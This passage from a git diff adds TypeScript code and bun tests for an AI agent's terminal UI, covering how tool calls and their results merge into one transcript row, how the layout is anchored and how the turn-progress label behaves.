test("mark the row failed, keeping the failure out of the collapsed line", () => { + const rows: StreamRow[] = [] + pushToolCall(rows, { name: "fetch", arguments: JSON.stringify({ url: "https://x.dev" }) }) + pushToolResult(rows, { name: "fetch", content: "connection refused", isError: true }) + expect(rows.length).toBe(1) + expect(rows[0]?.failed).toBe(true) + expect(painted(rows[0]!)).toContain("×") + expect(rows[0]?.detail?.length).toBeGreaterThan(0) + }) + + test("an answer with no call on the log still gets a row", () => { + const rows: StreamRow[] = [] + pushToolResult(rows, { name: "shell", content: "orphan" }) + expect(rows.length).toBe(1) + expect(rows[0]?.text).toBe("orphan") + }) +}) + +describe("a run of identical calls", () => { + test("is one row, with every answer behind its arrow", () => { + const rows: StreamRow[] = [] + for (let i = 0; i < 8; i++) { + pushToolCall(rows, { + name: "mcp__linear__list_issues", + arguments: JSON.stringify({ team: "core" }), + }) + pushToolResult(rows, { + name: "mcp__linear__list_issues", + content: LINEAR_ISSUES, + }) + } + expect(rows.length).toBe(1) + expect(rows[0]?.coalesced).toBe(true) + expect(rows[0]?.detail?.length).toBe(8) + // The row says what the call was, never a total it cannot substantiate. + expect(rows[0]?.verb).toBe("Linear: List Issues") + expect(rows[0]?.stat).toBeUndefined() + }) + + test("does not swallow a different call by the same tool", () => { + const rows: StreamRow[] = [] + pushToolCall(rows, { name: "read_file", arguments: JSON.stringify({ path: "a.ts" }) }) + pushToolResult(rows, { name: "read_file", content: "a" }) + pushToolCall(rows, { name: "read_file", arguments: JSON.stringify({ path: "b.ts" }) }) + pushToolResult(rows, { name: "read_file", content: "b" }) + expect(rows.length).toBe(2) + }) +}) + +describe("a long subject", () => { + test("is cut to one line rather than wrapped", () => { + const row = toolCallRow({ + name: "web_search", + arguments: JSON.stringify({ + query: + "current overview of Apple Inc and what apple.com represents as the company storefront today", + }), + }) + const lines = toolSentenceLines(row, 40) + expect(lines.length).toBe(1) + const text = lines[0]!.map((segment) => segment.text).join("") + expect(text.length).toBeLessThanOrEqual(40) + expect(text).toContain("…") + }) +}) + +describe("a live turn", () => { + test("resolves the call row in place instead of appending an answer", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + const bridge = attachSessionBridge(shell, createRecordingPort()) + try { + bridge.play([ + { + type: "inference.tool_call.end", + data: { + name: "mcp__linear__list_issues", + callId: "c1", + arguments: { team: "core" }, + }, + }, + ]) + expect(shell.streamLog.length).toBe(1) + expect(shell.streamLog[0]?.pending).toBe(true) + + bridge.play([ + { + type: "tool.done", + data: { result: { callId: "c1", content: LINEAR_ISSUES } }, + }, + ]) + expect(shell.streamLog.length).toBe(1) + expect(shell.streamLog[0]?.stat).toBe("2 results") + + await h.renderOnce() + const frame = h.captureCharFrame() + expect(frame).toContain("Linear: List Issues 2 results") + expect(frame).not.toContain("└") + } finally { + bridge.dispose() + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("folds every answer of a batched run into the one row it opened", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + const bridge = attachSessionBridge(shell, createRecordingPort()) + try { + const ids = ["c1", "c2", "c3", "c4"] + // Every call is dispatched before any answer lands, which is what an + // ordinary parallel batch looks like on the wire. + bridge.play( + ids.map((callId) => ({ + type: "inference.tool_call.end", + data: { + name: "mcp__linear__list_issues", + callId, + arguments: { team: "core" }, + }, + })), + ) + expect(shell.streamLog.length).toBe(1) + expect(shell.streamLog[0]?.coalesced).toBe(true) + expect(shell.streamLog[0]?.pending).toBe(true) + + bridge.play( + ids.map((callId) => ({ + type: "tool.done", + data: { result: { callId, content: LINEAR_ISSUES } }, + })), + ) + expect(shell.streamLog.length).toBe(1) + expect(shell.streamLog[0]?.detail?.length).toBe(4) + // The run is answered only once its last outstanding call is. + expect(shell.streamLog[0]?.pending).toBeUndefined() + } finally { + bridge.dispose() + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) diff --git a/src/tui-opentui/tool-rows.ts b/src/tui-opentui/tool-rows.ts new file mode 100644 index 000000000..f62e15a64 --- /dev/null +++ b/src/tui-opentui/tool-rows.ts @@ -0,0 +1,206 @@ +/** + * One transcript row per tool use. + * + * A call and the answer it gets are one event, so they are one row: the call + * paints while it is in flight, and its result resolves the same row in place — + * marker, subject and expandable body — instead of appending a second, visually + * orphaned line beneath it. + * + * A run of consecutive calls that paint the same sentence collapses onto one + * row too. The row keeps saying what the call was rather than totalling the + * answers: totals across separate calls (overlapping queries, partial failures) + * are claims the payloads do not support, and a summary nobody can trust is + * worse than a plainer one. The answers themselves sit behind the arrow. + */ + +import { toolCallRow, type ToolCallRowInput } from "./diff.js" +import { + resultBodyLines, + toolResultRow, + type ToolResultRowInput, +} from "./mcp-view.js" +import { extractMcpRecords } from "../tui/mcp-result-format.js" +import type { StreamRow, StyledBodyLine } from "./stream.js" +import { UI } from "./theme.js" + +/** Answers a coalesced run keeps behind its arrow before it stops collecting. */ +const MAX_RUN_LINES = 30 + +function runLine(text: string, fg: string = UI.text): StyledBodyLine { + return [{ text, fg }] +} + +function appendRunLine( + lines: readonly StyledBodyLine[], + text: string, +): readonly StyledBodyLine[] { + if (lines.length > MAX_RUN_LINES) return lines + if (lines.length === MAX_RUN_LINES) { + return [...lines, runLine("… more answers", UI.textDim)] + } + return [...lines, runLine(text)] +} + +/** Longest an answer's own words may run before they belong behind the arrow. */ +const MAX_ADDENDUM = 40 + +/** + * What an answer adds to the line its call already wrote: a count, a short + * status — never prose, and never the payload itself. A fetched page, a file + * body or a search dump says nothing on one line and would push the subject + * (the URL, the path, the query) off the row, so anything unbounded is left + * behind the expand key. + */ +export function resultAddendum(result: StreamRow): string | undefined { + const payload = result.text.trim() + if (payload.length === 0) return undefined + const records = extractMcpRecords(payload) + if (records !== null) return countNoun(records.items.length, "result") + const lines = payload.split("\n") + if (lines.length === 1) { + return payload.length <= MAX_ADDENDUM ? payload : undefined + } + return countNoun(lines.length, "line") +} + +function countNoun(count: number, noun: string): string { + return `${count} ${noun}${count === 1 ? "" : "s"}` +} + +/** + * Fold a tool result into the call row it answers. + * + * The row keeps saying what the call was — the URL fetched, the path read, the + * query searched. That is the stable identifier, and it is the one thing the + * payload can never be trusted to reproduce. The answer contributes the marker, + * a short factual addendum where it has one, and the body behind the arrow. + */ +export function mergeToolRows(call: StreamRow, result: StreamRow): StreamRow { + const failed = result.failed === true + const { pending: _pending, ...answered } = call + const addendum = failed ? undefined : resultAddendum(result) + const base: StreamRow = { + ...answered, + text: result.text, + summary: call.summary ?? "", + ...(failed || call.failed === true ? { failed: true } : {}), + // A diff already states its own +/- counts; nothing the answer says beats it. + ...(call.stat === undefined && addendum !== undefined ? { stat: addendum } : {}), + } + + if (call.coalesced === true) { + // One call's count on a row standing for eight of them would read as a + // total across the run, which nothing here can substantiate. + const { stat: _stat, ...run } = base + const remaining = Math.max(0, (call.outstanding ?? 1) - 1) + return { + ...run, + // The run's subject stays the call it repeats, so the row keeps the + // call's own text rather than taking on this one answer's payload. + text: call.text, + ...(call.stat !== undefined ? { stat: call.stat } : {}), + outstanding: remaining, + ...(remaining > 0 ? { pending: true } : {}), + detail: appendRunLine( + call.detail ?? [], + failed ? "call failed" : (addendum ?? "answered"), + ), + } + } + + const payload = result.text.trim() + const showsPayload = payload.length > 0 && payload !== base.stat + return { + ...base, + ...(result.structured !== undefined ? { structured: result.structured } : {}), + ...(showsPayload + ? { detail: result.detail ?? resultBodyLines(result.text) } + : call.detail !== undefined + ? { detail: call.detail } + : {}), + } +} + +/** Whether `next` is a repeat of the call the row before it already painted. */ +export function canCoalesceCall( + tail: StreamRow | undefined, + next: StreamRow, +): boolean { + if (tail === undefined || tail.role !== "tool" || next.role !== "tool") { + return false + } + return tail.callKey !== undefined && tail.callKey === next.callKey +} + +/** + * Collapse a repeated call onto the row its predecessor already occupies. The + * predecessor's own answer becomes the first line of the run's body, so nothing + * it had said is lost to the collapse. + */ +export function coalesceCallRows(tail: StreamRow, next: StreamRow): StreamRow { + const answered = + tail.coalesced === true + ? (tail.detail ?? []) + : tail.pending === true + ? [] + : appendRunLine([], tail.stat ?? "answered") + // A run's body is the answers it collected; the argument view, table and diff + // belong to a single call, which this row no longer stands alone for. + const { detail: _detail, structured: _structured, diff: _diff, ...call } = next + const inFlight = tail.outstanding ?? (tail.pending === true ? 1 : 0) + return { + ...call, + coalesced: true, + outstanding: inFlight + 1, + ...(tail.failed === true ? { failed: true } : {}), + ...(answered.length > 0 ? { detail: answered } : {}), + } +} + +/** + * Index of the call row a result belongs to: the newest unanswered call by the + * same tool, else the newest unanswered call at all. -1 when the result answers + * nothing on the log (a hydrated transcript that kept only results, say). + */ +export function pendingCallIndex( + rows: readonly StreamRow[], + name: string, +): number { + let fallback = -1 + for (let i = rows.length - 1; i >= 0; i--) { + const row = rows[i] + if (row === undefined || row.pending !== true) continue + if (row.meta === name) return i + if (fallback === -1) fallback = i + } + return fallback +} + +/** Append a tool call to a row list, collapsing it onto a repeat of itself. */ +export function pushToolCall( + rows: StreamRow[], + input: ToolCallRowInput, +): void { + const row = toolCallRow(input) + const tail = rows[rows.length - 1] + if (tail !== undefined && canCoalesceCall(tail, row)) { + rows[rows.length - 1] = coalesceCallRows(tail, row) + return + } + rows.push(row) +} + +/** Fold a tool result into its call row, or append it when it answers none. */ +export function pushToolResult( + rows: StreamRow[], + input: ToolResultRowInput, +): void { + const result = toolResultRow(input) + const index = pendingCallIndex(rows, input.name) + const call = index === -1 ? undefined : rows[index] + if (call === undefined) { + rows.push(result) + return + } + rows[index] = mergeToolRows(call, result) +} diff --git a/src/tui-opentui/tool-subject.test.ts b/src/tui-opentui/tool-subject.test.ts new file mode 100644 index 000000000..fc3e62f77 --- /dev/null +++ b/src/tui-opentui/tool-subject.test.ts @@ -0,0 +1,51 @@ +/** + * A tool row's subject is one argument. + * + * A serialised argument list spends the row's columns naming keys and then cuts + * the second value off mid-word ("numR…"), which says nothing at all. The row + * names the argument the call is about; the rest is behind the arrow. + */ +import { describe, expect, test } from "bun:test" + +import { toolArgsView } from "./tool-args" + +const view = (name: string, args: Record) => + toolArgsView(name, JSON.stringify(args)) + +describe("a summarised call's subject", () => { + test("is the query alone, not a list ending in a fragment", () => { + const summary = view("web_search", { + query: "Apple Inc company overview apple.com official", + numResults: 5, + })?.summary + expect(summary).toBe("Apple Inc company overview apple.com official") + expect(summary).not.toContain("numResults") + expect(summary).not.toContain(":") + }) + + test("drops the key prefix a URL or pattern used to carry", () => { + expect(view("web_fetch", { url: "https://www.apple.com" })?.summary).toBe( + "https://www.apple.com", + ) + expect(view("grep", { pattern: "TODO", path: "src" })?.summary).toBe("TODO") + }) + + test("keeps the dropped arguments behind the expand arrow", () => { + const detail = view("web_search", { query: "apple", numResults: 5 })?.detail + const plain = (detail ?? []) + .map((line) => line.map((segment) => segment.text).join("")) + .join("\n") + expect(plain).toContain("numResults") + expect(plain).toContain("5") + }) + + test("earns no arrow when the one argument is the whole call", () => { + expect(view("web_fetch", { url: "https://www.apple.com" })?.detail).toBeUndefined() + }) + + test("leaves a tool that already names itself alone", () => { + // The formatter shortens a path and abbreviates a task description; those + // are better subjects than any raw argument value. + expect(view("read_file", { path: "src/index.ts" })?.summary).toBe("src/index.ts") + }) +}) diff --git a/src/tui-opentui/transcript-anchor.test.ts b/src/tui-opentui/transcript-anchor.test.ts new file mode 100644 index 000000000..55c9ccf65 --- /dev/null +++ b/src/tui-opentui/transcript-anchor.test.ts @@ -0,0 +1,120 @@ +/** + * Painted-frame contract for transcript bottom-anchoring: with few rows the + * content sits against the prompt box below, not stranded at the top of an + * empty zone; once rows fill the zone, sticky-scroll-to-bottom behaves as + * before. + */ +import { describe, expect, test } from "bun:test" +import { withTestRenderer } from "./harness" +import { appendStreamRow, createAppShell, type AppShell } from "./shell" + +/** Index of the first line whose trimmed content starts with `needle`. */ +function lineIndex(frame: string, needle: string): number { + return frame.split("\n").findIndex((l) => l.trimStart().startsWith(needle)) +} + +/** Index of the prompt box's top rule (rounded top-left corner). */ +function promptTopIndex(frame: string): number { + return lineIndex(frame, "╭") +} + +/** Index of the last non-blank line at or before `promptTop`. */ +function lastInkBefore(frame: string, promptTop: number): number { + const lines = frame.split("\n") + for (let i = promptTop - 1; i >= 0; i--) { + if ((lines[i] ?? "").trim().length > 0) return i + } + return -1 +} + +async function paint( + rowCount: number, + inspect: (frame: string, shell: AppShell) => void, +): Promise { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + for (let i = 0; i < rowCount; i++) { + appendStreamRow(shell, { role: "assistant", text: `line ${i}` }) + } + // Markdown bodies highlight asynchronously. + await new Promise((resolve) => setTimeout(resolve, 250)) + await h.renderOnce() + inspect(h.captureCharFrame(), shell) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) +} + +describe("transcript bottom-anchoring", () => { + test("few rows sit directly above the prompt box, empty space above", async () => { + await paint(3, (frame) => { + const promptTop = promptTopIndex(frame) + expect(promptTop).toBeGreaterThan(0) + + // The last painted content row is immediately above the prompt's top rule. + const lastInk = lastInkBefore(frame, promptTop) + expect(lastInk).toBe(promptTop - 1) + expect(frame.split("\n")[lastInk]).toContain("line 2") + + // There is blank space above the content: the zone is not full. + const firstInk = frame.split("\n").findIndex((l) => l.includes("line 0")) + expect(firstInk).toBeGreaterThan(1) + }) + }) + + test("enough rows fill the zone and sticky-scroll to bottom holds", async () => { + await paint(30, (frame, shell) => { + const promptTop = promptTopIndex(frame) + const lastInk = lastInkBefore(frame, promptTop) + expect(lastInk).toBe(promptTop - 1) + expect(frame.split("\n")[lastInk]).toContain("line 29") + + const max = Math.max(0, shell.transcript.scrollHeight - shell.transcript.height) + expect(shell.transcript.scrollTop).toBeGreaterThanOrEqual(max - 1) + }) + }) + + test("the row above the newest one holds steady as rows are added", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + for (let i = 0; i < 3; i++) { + appendStreamRow(shell, { role: "assistant", text: `line ${i}` }) + } + await new Promise((resolve) => setTimeout(resolve, 250)) + await h.renderOnce() + const before = h.captureCharFrame() + const promptTopBefore = promptTopIndex(before) + const rowTwoBefore = before.split("\n")[promptTopBefore - 1] ?? "" + + appendStreamRow(shell, { role: "assistant", text: "line 3" }) + await new Promise((resolve) => setTimeout(resolve, 250)) + await h.renderOnce() + const after = h.captureCharFrame() + const promptTopAfter = promptTopIndex(after) + const rowTwoAfter = after.split("\n")[promptTopAfter - 2] ?? "" + + // Row "line 2" keeps its relative position (one above the newest row) + // rather than the whole block jumping when the newest row lands. + expect(rowTwoBefore).toContain("line 2") + expect(rowTwoAfter).toContain("line 2") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) diff --git a/src/tui-opentui/transcript-layout.test.ts b/src/tui-opentui/transcript-layout.test.ts new file mode 100644 index 000000000..a8edd24b1 --- /dev/null +++ b/src/tui-opentui/transcript-layout.test.ts @@ -0,0 +1,247 @@ +/** + * Painted-frame contract for transcript turn layout: where each voice sits on + * the screen, and that a right-aligned turn stops at the shared gutter. + */ +import { describe, expect, test } from "bun:test" +import { resolveSideMargin } from "./geometry/margins" +import { withTestRenderer } from "./harness" +import { + appendStreamRow, + createAppShell, + type AppShell, +} from "./shell" +import type { StreamRow } from "./stream" +import { toolCallRow } from "./diff" +import { toolResultRow } from "./mcp-view" +import { mergeToolRows } from "./tool-rows" + +/** Frame rows that carry ink, paired with their index. */ +function inkRows(frame: string): readonly string[] { + return frame.split("\n").filter((row) => row.trim().length > 0) +} + +function rowsContaining(frame: string, needle: string): readonly string[] { + return inkRows(frame).filter((row) => row.includes(needle)) +} + +async function paintRows( + rows: readonly StreamRow[], + columns: number, + inspect: (frame: string, shell: AppShell) => void, +): Promise { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns, rows: 24 }, + wireKeys: false, + }) + try { + for (const row of rows) appendStreamRow(shell, row) + // Markdown bodies highlight asynchronously. + await new Promise((resolve) => setTimeout(resolve, 250)) + await h.renderOnce() + inspect(h.captureCharFrame(), shell) + } finally { + shell.dispose() + } + }, + { width: columns, height: 24 }, + ) +} + +describe("transcript turn layout", () => { + test("the operator's turn paints flush to the left gutter, bar first", async () => { + await paintRows([{ role: "user", text: "find the legacy token" }], 80, (frame) => { + const [row] = rowsContaining(frame, "find the legacy token") + expect(row).toBeDefined() + const painted = row as string + const gutter = resolveSideMargin(80) + // Left-aligned: the bar sits right at the shared gutter, like an answer. + expect(painted.indexOf("▍")).toBe(gutter) + }) + }) + + test("one agent answers unlabelled, from the left gutter", async () => { + await paintRows( + [ + { role: "user", text: "hi" }, + { role: "assistant", text: "listing the directory now" }, + ], + 80, + (frame) => { + const [row] = rowsContaining(frame, "listing the directory now") + expect(row).toBeDefined() + const painted = row as string + expect(painted.indexOf("listing")).toBe(resolveSideMargin(80)) + expect(frame).not.toContain("agent") + expect(frame).not.toContain("you") + }, + ) + }) + + test("a second agent brings labels back, once per block and sharing a left edge", async () => { + await paintRows( + [ + { role: "user", text: "hi" }, + { role: "assistant", text: "on it" }, + { role: "assistant", text: "reviewing", agent: "critic" }, + ], + 80, + (frame) => { + const gutter = resolveSideMargin(80) + const [corbitsLabel] = rowsContaining(frame, "● agent") + const [criticLabel] = rowsContaining(frame, "● critic") + expect(corbitsLabel).toBeDefined() + expect(criticLabel).toBeDefined() + // One label per block, and both labels share the transcript's left edge. + expect((corbitsLabel as string).indexOf("●")).toBe(gutter) + expect((criticLabel as string).indexOf("●")).toBe(gutter) + expect(rowsContaining(frame, "on it").some((row) => row.includes("●"))).toBe(false) + expect(rowsContaining(frame, "reviewing").some((row) => row.includes("●"))).toBe(false) + // The operator keeps the left gutter regardless. + const [mine] = rowsContaining(frame, "hi") + expect((mine as string).indexOf("▍")).toBe(gutter) + }, + ) + }) + + test("a run from the same agent across a tool call keeps one left edge, relabelled per block", async () => { + await paintRows( + [ + { role: "user", text: "hi" }, + { role: "assistant", text: "delegating", agent: "corbits" }, + { role: "assistant", text: "on it", agent: "auth-core" }, + { role: "assistant", text: "patching now", agent: "auth-core" }, + { role: "tool", text: "session.ts", meta: "edit", agent: "auth-core" }, + ], + 80, + (frame) => { + const gutter = resolveSideMargin(80) + const labels = inkRows(frame).filter((row) => row.trim() === "● auth-core") + // The message block and the tool block are two distinct blocks (a + // role change opens a new one), so the label repeats once per block — + // never once per row. + expect(labels.length).toBe(2) + for (const label of labels) expect(label.indexOf("●")).toBe(gutter) + expect(rowsContaining(frame, "patching now").some((row) => row.includes("●"))).toBe( + false, + ) + }, + ) + }) + + test("a long operator turn wraps as one left-aligned block", async () => { + const text = + "please find every call site of the legacy token helper and tell me which of them still run in production today" + for (const columns of [50, 64, 80, 120]) { + await paintRows([{ role: "user", text }], columns, (frame) => { + const block = inkRows(frame).filter((row) => row.includes("▍")) + expect(block.length).toBeGreaterThan(1) + // One rectangle: every line hangs off the same bar column, at the gutter. + const gutter = resolveSideMargin(columns) + const bars = new Set(block.map((row) => row.indexOf("▍"))) + expect(bars.size).toBe(1) + expect([...bars][0]).toBe(gutter) + for (const row of block) { + expect(row.trimEnd().length).toBeLessThanOrEqual(columns - gutter) + } + }) + } + }) + + test("reasoning is an inset block that stays out of the answer's column", async () => { + await paintRows( + [ + { role: "user", text: "hi" }, + { role: "system", meta: "thinking", text: "scanning the repo\nthen the call sites" }, + { role: "assistant", text: "found it" }, + ], + 80, + (frame) => { + const gutter = resolveSideMargin(80) + const thinking = inkRows(frame).filter((row) => row.includes("scanning") || row.includes("call sites")) + expect(thinking.length).toBe(2) + for (const row of thinking) { + // Inset past the answer's column, and carrying no rail of its own. + expect(row.length - row.trimStart().length).toBeGreaterThan(gutter) + expect(row).not.toContain("┆") + } + const [answer] = rowsContaining(frame, "found it") + expect((answer as string).indexOf("found it")).toBe(gutter) + }, + ) + }) + + test("a tool call and its result are one row", async () => { + const merged = mergeToolRows( + toolCallRow({ name: "grep", arguments: '{"pattern":"legacy_token"}' }), + toolResultRow({ name: "grep", content: "42 matches" }), + ) + await paintRows([merged], 80, (frame) => { + const rows = rowsContaining(frame, "legacy_token") + expect(rows.length).toBe(1) + expect(rows[0]).toContain("✓") + expect(rows[0]).not.toContain("└") + // The answer extends that one row rather than opening its own. + expect(rows[0]).toContain("42 matches") + }) + }) + + test("a loaded skill stays one row until it is expanded", async () => { + await paintRows( + [ + { + role: "tool", + text: 'Skill "style" — follow these instructions\n\nkeep it clean\nno emojis', + meta: "use_skill", + skill: "style", + }, + ], + 80, + (frame) => { + expect(frame).toContain('skill "style" loaded') + expect(frame).toContain("Alt+E expand") + expect(frame).not.toContain("no emojis") + }, + ) + }) + + test("Alt+E expands the newest collapsed row; a bare e always just types", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: true, + }) + try { + appendStreamRow(shell, { + role: "tool", + text: 'Skill "style" — follow these instructions\n\nno emojis', + meta: "use_skill", + skill: "style", + }) + await h.renderOnce() + expect(h.captureCharFrame()).not.toContain("no emojis") + + // The prompt (which almost always holds focus) types a bare `e` + // rather than swallowing it as an expand chord. + h.pressKey("e") + await h.renderOnce() + expect(h.captureCharFrame()).not.toContain("no emojis") + expect(shell.prompt.value).toBe("e") + + // Alt+E expands regardless of which widget nominally has focus — + // the prompt still holds focus here, and it still fires. + h.pressKey("e", { meta: true }) + await h.renderOnce() + const frame = h.captureCharFrame() + expect(frame).toContain("no emojis") + expect(frame).toContain("Alt+E collapse") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) diff --git a/src/tui-opentui/transcript-panels.test.ts b/src/tui-opentui/transcript-panels.test.ts new file mode 100644 index 000000000..570e5d70e --- /dev/null +++ b/src/tui-opentui/transcript-panels.test.ts @@ -0,0 +1,127 @@ +/** + * Painted-frame contract for the two bodies the transcript does not lay out + * itself: a markdown table (the renderer owns it) and a revealed expansion + * panel (styled lines the row owns). Both have to stay inside the shared + * gutter, and the reasoning line has to keep costing exactly one turn gap. + */ +import { describe, expect, test } from "bun:test" +import { resolveContentWidth, resolveSideMargin } from "./geometry/margins" +import { withTestRenderer, type Harness } from "./harness" +import { appendStreamRow, createAppShell } from "./shell" +import { rowGroupGap, type StreamRow } from "./stream" + +/** Markdown blocks highlight asynchronously; settle before capturing a frame. */ +async function settle(h: Harness): Promise { + await new Promise((resolve) => setTimeout(resolve, 300)) + await h.renderOnce() + await h.renderOnce() + return h.captureCharFrame() +} + +async function paint( + rows: readonly StreamRow[], + columns: number, + inspect: (frame: string) => void, +): Promise { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns, rows: 30 }, + wireKeys: false, + }) + try { + for (const row of rows) appendStreamRow(shell, row) + inspect(await settle(h)) + } finally { + shell.dispose() + } + }, + { width: columns, height: 30 }, + ) +} + +/** Frame rows carrying ink, so blank padding cannot pass an edge assertion. */ +function inkRows(frame: string): readonly string[] { + return frame.split("\n").filter((row) => row.trim().length > 0) +} + +const TABLE = [ + "| Option | What it does in practice for the operator |", + "| --- | --- |", + "| truncate | cuts the row at the content edge and marks it with a marker |", + "| scroll | lets that single row scroll sideways under the arrow keys |", +].join("\n") + +describe("a markdown table stays inside the content width", () => { + for (const columns of [100, 80, 64, 52]) { + test(`at ${columns} columns`, async () => { + await paint([{ role: "assistant", text: TABLE }], columns, (frame) => { + const margin = resolveSideMargin(columns) + const right = margin + resolveContentWidth(columns) + const painted = inkRows(frame).filter((row) => row.includes("│")) + expect(painted.length).toBeGreaterThan(0) + for (const row of painted) { + expect(row.slice(0, margin).trim()).toBe("") + expect(row.slice(right).trim()).toBe("") + } + }) + }) + } +}) + +describe("a revealed body reads as a panel under its summary", () => { + const skillRow: StreamRow = { + role: "tool", + meta: "skill", + skill: "style", + expanded: true, + text: "Write clean code and keep every function small enough that a reader can hold the whole of it in their head at one time.", + } + + test("the panel is railed, inset past the summary, and closed", async () => { + await paint([skillRow], 72, (frame) => { + const rows = inkRows(frame) + const head = rows.find((row) => row.includes("skill \"style\" loaded")) + const railed = rows.filter((row) => row.includes("┆")) + expect(head).toBeDefined() + expect(railed.length).toBeGreaterThan(0) + + const body = (head as string).indexOf("skill \"style\"") + for (const row of railed) { + // Subordinate: the rail sits past the column the summary starts on. + expect(row.indexOf("┆")).toBeGreaterThan(body) + } + expect(rows.some((row) => row.trim() === "╵")).toBe(true) + }) + }) + + test("the panel never escapes the shared gutter", async () => { + for (const columns of [80, 60]) { + await paint([skillRow], columns, (frame) => { + const margin = resolveSideMargin(columns) + const right = margin + resolveContentWidth(columns) + for (const row of inkRows(frame).filter((line) => line.includes("┆"))) { + expect(row.slice(0, margin).trim()).toBe("") + expect(row.slice(right).trim()).toBe("") + } + }) + } + }) +}) + +describe("reasoning costs one turn gap, spent below itself", () => { + const you: StreamRow = { role: "user", text: "hello" } + const agent: StreamRow = { role: "assistant", text: "hi" } + const thinking: StreamRow = { role: "system", meta: "thinking", text: "hmm" } + + test("the pair opens exactly the gap the turn would have", () => { + expect(rowGroupGap(you, thinking) + rowGroupGap(thinking, agent)).toBe( + rowGroupGap(you, agent), + ) + }) + + test("the gap sits between the reasoning line and the answer", () => { + expect(rowGroupGap(you, thinking)).toBe(0) + expect(rowGroupGap(thinking, agent)).toBeGreaterThan(0) + }) +}) diff --git a/src/tui-opentui/turn-monitor.test.ts b/src/tui-opentui/turn-monitor.test.ts new file mode 100644 index 000000000..397ef9b93 --- /dev/null +++ b/src/tui-opentui/turn-monitor.test.ts @@ -0,0 +1,417 @@ +/** + * Bridge-level wiring for the progress label, quota auto-retry and stall + * watchdog. The monitor clock is injected, so nothing here waits on wall time. + */ + +import { describe, expect, test } from "bun:test" + +import { attachSessionBridge, createRecordingPort } from "./runtime-bridge.js" +import { createAppShell, noticeText } from "./shell.js" +import { withTestRenderer } from "./harness.js" +import { + STALL_NOTICE_MESSAGE, + STALL_RECOVERY_MESSAGE, +} from "./stall-watchdog.js" + +type Harness = Awaited> + +async function setup(h: { renderer: Parameters[0] }) { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + const port = createRecordingPort() + let nowMs = 0 + let tick: (() => void) | undefined + const bridge = attachSessionBridge(shell, port, { + now: () => nowMs, + stallTimeoutMs: 1_000, + stallNoticeMs: 400, + schedule: (fn) => { + tick = fn + return () => { + tick = undefined + } + }, + }) + return { + shell, + port, + bridge, + advance: (ms: number) => { + nowMs += ms + }, + tick: () => tick?.(), + } +} + +const quotaEvent = (retryAfterMs: number) => ({ + type: "inference.error", + data: { error: { category: "quota_exhausted", retryAfterMs } }, +}) + +const RAMP = /[░▒▓█]/ + +describe("turn progress label", () => { + test("tracks the live phase and clears when the run settles", async () => { + await withTestRenderer(async (h) => { + const t: Harness = await setup(h) + try { + expect(t.shell.turnPhase).toBeNull() + + t.bridge.handle({ type: "inference.start", data: {} }) + expect(t.shell.turnPhase).toMatch(RAMP) + expect(t.shell.turnPhase).toEndWith("working") + + t.bridge.handle({ + type: "inference.thinking.delta", + data: { token: "hm" }, + }) + expect(t.shell.turnPhase).toEndWith("thinking") + + t.bridge.handle({ type: "inference.text.delta", data: { token: "hi" } }) + expect(t.shell.turnPhase).toEndWith("streaming 1 tok") + + t.bridge.handle({ type: "inference.text.delta", data: { token: " there" } }) + expect(t.shell.turnPhase).toEndWith("streaming 2 tok") + + t.bridge.handle({ + type: "inference.tool_call.end", + data: { name: "bash", callId: "c1" }, + }) + expect(t.shell.turnPhase).toEndWith("bash") + + t.bridge.handle({ type: "reactor.done", data: {} }) + expect(t.shell.turnPhase).toBeNull() + } finally { + t.bridge.dispose() + } + }) + }) + + test("the bottom-left slot carries the phase and fades on each change", async () => { + await withTestRenderer(async (h) => { + const t: Harness = await setup(h) + try { + expect(t.shell.lockupPhase).toBeNull() + + t.bridge.handle({ type: "inference.start", data: {} }) + expect(t.shell.lockupPhase).toBe("working") + const started = t.shell.lockupChangedMs + + t.advance(500) + t.bridge.handle({ + type: "inference.thinking.delta", + data: { token: "hm" }, + }) + expect(t.shell.lockupPhase).toBe("thinking") + // A new phase restamps the fade so the crossfade starts over. + expect(t.shell.lockupChangedMs).toBeGreaterThan(started) + + t.bridge.handle({ type: "reactor.done", data: {} }) + expect(t.shell.lockupPhase).toBeNull() + } finally { + t.bridge.dispose() + } + }) + }) + + /** + * The shape a real chat turn actually has. A chat session emits no + * `reactor.done` until it closes, so `connector.reply` is the only terminal + * event the shell ever sees — the regression this covers left the phase line + * counting for the rest of the session. + */ + test("a full turn with a tool clears the phase on connector.reply", async () => { + await withTestRenderer(async (h) => { + const t: Harness = await setup(h) + try { + t.bridge.handle({ + type: "message.received", + data: { message: { content: "list the root" } }, + }) + t.bridge.handle({ type: "inference.start", data: {} }) + t.bridge.handle({ type: "inference.text.delta", data: { token: "I'll " } }) + t.bridge.handle({ type: "inference.text.delta", data: { token: "look." } }) + t.bridge.handle({ + type: "inference.tool_call.start", + data: { name: "bash", callId: "c1" }, + }) + t.bridge.handle({ + type: "inference.tool_call.end", + data: { name: "bash", callId: "c1", arguments: "ls" }, + }) + t.bridge.handle({ type: "inference.done", data: {} }) + + // The cycle's reply lands while bash is still out: the turn continues. + t.bridge.handle({ type: "connector.reply", data: { content: "" } }) + expect(t.shell.turnPhase).not.toBeNull() + + t.bridge.handle({ + type: "tool.start", + data: { call: { id: "c1", name: "bash" } }, + }) + 